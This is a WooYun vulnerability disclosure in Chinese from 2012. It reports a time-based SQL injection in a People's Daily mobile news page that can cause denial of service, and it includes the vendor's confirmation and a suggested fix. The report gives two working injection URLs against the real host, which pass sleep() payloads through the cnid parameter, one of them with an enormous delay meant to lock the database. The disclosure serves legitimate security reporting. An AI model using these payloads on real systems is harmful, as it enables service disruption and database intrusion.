当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08804

漏洞标题:人民网某站基于sleep的注入

相关厂商:人民网

漏洞作者: zeracker

提交时间:2012-06-26 19:13

修复时间:2012-08-10 19:13

公开时间:2012-08-10 19:13

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-26: 细节已通知厂商并且等待厂商处理中
2012-07-01: 厂商已经确认,细节仅向厂商公开
2012-07-11: 细节向核心白帽子及相关领域专家公开
2012-07-21: 细节向普通白帽子公开
2012-07-31: 细节向实习白帽子公开
2012-08-10: 细节向公众公开

简要描述:

人民网某站基于sleep的注入可引发的拒绝服务

详细说明:

由于他这个mysql的问题 执行 or sleep(5) and '1'='1
or sleep(5) and '1'='1
或者查询语句时 会使mysql假死


http://wap.people.com.cn/newsView.php?sid=&cnid=1456639%20and%20sleep(12)&chid=1_14_3&coid=1_14_3_1&wv=2&v=l&return=channel&fromid=&uc_param_str=dnup


如果将sleep赋予一个足够大的值 比如 9999999999999的时候 会导致数据库锁表
此时数据库的查询将被堵塞,无法正常工作,多次提交后,即可形成拒绝服务 网站首页会显示mysql报错 并且无法正常访问


http://wap.people.com.cn/newsView.php?sid=&cnid=1456639 and sleep(99999999999)&chid=1_14_3&coid=1_14_3_1&wv=2&v=l&return=channel&fromid=&uc_param_str=dnup


漏洞证明:



修复方案:

禁用mysql的sleep函数。或者修改它的sleep上限,拒绝不合理的超长sleep。现实中很少用到这个sleep功能,就算遇到需要sleep的场景,也可以通过外部应用来实现sleep。

版权声明:转载请注明来源 zeracker@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2012-07-01 07:32

厂商回复:

CNVD确认漏洞并复现所述情况,事件属于命令注入范畴,转由CNCERT国家中心协调涉事单位处置(预计周一)。
按部分影响可用性、部分影响机密性进行评估,rank=6.42*1.1*1.3(较严重)=9.180

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-28 16:12 | hacx ( 实习白帽子 | Rank:52 漏洞数:6 )

    @zeracker 请教如何禁用sleep函数